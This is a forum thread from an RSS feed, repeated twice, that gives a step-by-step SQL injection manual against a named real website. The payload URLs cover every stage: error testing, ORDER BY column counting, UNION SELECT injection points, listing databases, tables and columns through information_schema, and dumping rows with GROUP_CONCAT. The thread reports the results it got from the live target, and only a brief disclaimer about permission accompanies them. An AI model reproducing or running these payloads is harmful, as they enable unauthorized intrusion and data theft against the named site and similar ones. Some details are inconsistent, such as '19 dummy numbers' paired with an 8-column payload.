<![CDATA[StucxTeam Forum - Tutorials]]> https://stucxteam.my/ Sun, 02 Aug 2026 06:25:08 +0000 MyBB <![CDATA[SQLI MANUAL]]> https://stucxteam.my/Thread-leak-sqli-manual Mon, 02 Mar 2026 14:43:16 +0000 Carlos1337]]> https://stucxteam.my/Thread-leak-sqli-manual Step 1: Test with Single Quote
Target: https://csi-india.org
Example: https://csi-india.org/news/index.php?id=...tabase()--
  1. Open: https://csi-india.org/news/index.php?id=18
[list=2]
[*]Add a quote ' at the end: https://csi-india.org/news/index.php?id=18'
[/list]
Result:
  • SQL error appears → Vulnerable
  • Normal page → Not vulnerable

Step 2: Find Column Count with ORDER BY
Purpose: Determine how many columns in the table.

Steps:
  1. Use ORDER BY with increasing numbers:
    https://csi-india.org/news/index.php?id=18 ORDER BY 1--
    https://csi-india.org/news/index.php?id=18 ORDER BY 2--
    https://csi-india.org/news/index.php?id=18 ORDER BY 3--
    (Continue until error)
[list=2]
[*]In our case:
  • ORDER BY 8 → Success
  • ORDER BY 9 → Error
Conclusion: Table has 8 columns.

Step 3: UNION SELECT to Find Visible Columns
Purpose: Identify which columns are displayed on the page (injection points).

Steps:
  1. Use payload with 19 dummy numbers:
    https://csi-india.org/news/index.php?id=-18 UNION SELECT 1,2,3,4,5,6,7,8--
    (Use negative ID to hide original data)
[list=2]
[*]Check the page. Which numbers appear?
In our case:
  • Column 3
  • Column 4
  • Column 5
  • Column 6
[/list]
Conclusion: Columns 3,4,5,6 are injection points.

Step 4: Get Database Name
Purpose: Find current database name.

Steps:
  1. Replace one injection point with database():
    https://csi-india.org/news/index.php?id=...,5,6,7,8--
Result:
  • Database name appears where column 3 was.
  • In our case: csindia65_csindia

Step 5: Get Table Names
Purpose: List all tables in the database.

Steps:
  1. Use information_schema.tables with GROUP_CONCAT():
    https://csi-india.org/news/index.php?id=-18 UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6,7,8 FROM information_schema.tables WHERE table_schema=database()--
Result:
  • Table list appears.
  • In our case: menu, news, upload_file_category, category

Step 6: Get Column Names from a Specific Table
Purpose: Find column structure of a target table.

Steps:
  1. Choose target table, e.g., news.
[list=2]
[*]Use information_schema.columns:
https://csi-india.org/news/index.php?id=-18 UNION SELECT 1,2,GROUP_CONCAT(column_name),4,5,6,7,8 FROM information_schema.columns WHERE table_schema=database() AND table_name='news'--
(Encode quotes ' to %27)
[/list]
Result:
  • Column list for news: news_id, serial_no, news_title, news_description, news_file_path, file_doc, news_status, news_date

Step 7: Dump Data from Desired Columns
Purpose: Extract actual data.

Steps:
  1. Choose column to dump, e.g., news_title:
    https://csi-india.org/news/index.php?id=-18 UNION SELECT 1,2,GROUP_CONCAT(news_title),4,5,6,7,8 FROM news--
[list=2]
[*]For multiple columns at once:
https://csi-india.org/news/index.php?id=-18 UNION SELECT 1,2,GROUP_CONCAT(news_id, ':', news_title, '(', news_date, ')'),4,5,6,7,8 FROM news--
[/list]
Result:
  • Data appears on the page!
  • In our case: all news titles were displayed.

Conclusion
With these 7 steps, you can:
  • Detect vulnerability
  • Find column count
  • Identify injection points
  • Get database name
  • List tables
  • List columns
  • Dump data

Remember: Use this knowledge responsibly and ethically. Test only on websites you have permission to test.

.png   Screenshot 2026-03-02 224154.png (Size: 357.75 KB / Downloads: 2) ]]> Step 1: Test with Single Quote
Target: https://csi-india.org
Example: https://csi-india.org/news/index.php?id=...tabase()--
  1. Open: https://csi-india.org/news/index.php?id=18
[list=2]
[*]Add a quote ' at the end: https://csi-india.org/news/index.php?id=18'
[/list]
Result:
  • SQL error appears → Vulnerable
  • Normal page → Not vulnerable

Step 2: Find Column Count with ORDER BY
Purpose: Determine how many columns in the table.

Steps:
  1. Use ORDER BY with increasing numbers:
    https://csi-india.org/news/index.php?id=18 ORDER BY 1--
    https://csi-india.org/news/index.php?id=18 ORDER BY 2--
    https://csi-india.org/news/index.php?id=18 ORDER BY 3--
    (Continue until error)
[list=2]
[*]In our case:
  • ORDER BY 8 → Success
  • ORDER BY 9 → Error
Conclusion: Table has 8 columns.

Step 3: UNION SELECT to Find Visible Columns
Purpose: Identify which columns are displayed on the page (injection points).

Steps:
  1. Use payload with 19 dummy numbers:
    https://csi-india.org/news/index.php?id=-18 UNION SELECT 1,2,3,4,5,6,7,8--
    (Use negative ID to hide original data)
[list=2]
[*]Check the page. Which numbers appear?
In our case:
  • Column 3
  • Column 4
  • Column 5
  • Column 6
[/list]
Conclusion: Columns 3,4,5,6 are injection points.

Step 4: Get Database Name
Purpose: Find current database name.

Steps:
  1. Replace one injection point with database():
    https://csi-india.org/news/index.php?id=...,5,6,7,8--
Result:
  • Database name appears where column 3 was.
  • In our case: csindia65_csindia

Step 5: Get Table Names
Purpose: List all tables in the database.

Steps:
  1. Use information_schema.tables with GROUP_CONCAT():
    https://csi-india.org/news/index.php?id=-18 UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6,7,8 FROM information_schema.tables WHERE table_schema=database()--
Result:
  • Table list appears.
  • In our case: menu, news, upload_file_category, category

Step 6: Get Column Names from a Specific Table
Purpose: Find column structure of a target table.

Steps:
  1. Choose target table, e.g., news.
[list=2]
[*]Use information_schema.columns:
https://csi-india.org/news/index.php?id=-18 UNION SELECT 1,2,GROUP_CONCAT(column_name),4,5,6,7,8 FROM information_schema.columns WHERE table_schema=database() AND table_name='news'--
(Encode quotes ' to %27)
[/list]
Result:
  • Column list for news: news_id, serial_no, news_title, news_description, news_file_path, file_doc, news_status, news_date

Step 7: Dump Data from Desired Columns
Purpose: Extract actual data.

Steps:
  1. Choose column to dump, e.g., news_title:
    https://csi-india.org/news/index.php?id=-18 UNION SELECT 1,2,GROUP_CONCAT(news_title),4,5,6,7,8 FROM news--
[list=2]
[*]For multiple columns at once:
https://csi-india.org/news/index.php?id=-18 UNION SELECT 1,2,GROUP_CONCAT(news_id, ':', news_title, '(', news_date, ')'),4,5,6,7,8 FROM news--
[/list]
Result:
  • Data appears on the page!
  • In our case: all news titles were displayed.

Conclusion
With these 7 steps, you can:
  • Detect vulnerability
  • Find column count
  • Identify injection points
  • Get database name
  • List tables
  • List columns
  • Dump data

Remember: Use this knowledge responsibly and ethically. Test only on websites you have permission to test.

.png   Screenshot 2026-03-02 224154.png (Size: 357.75 KB / Downloads: 2) ]]>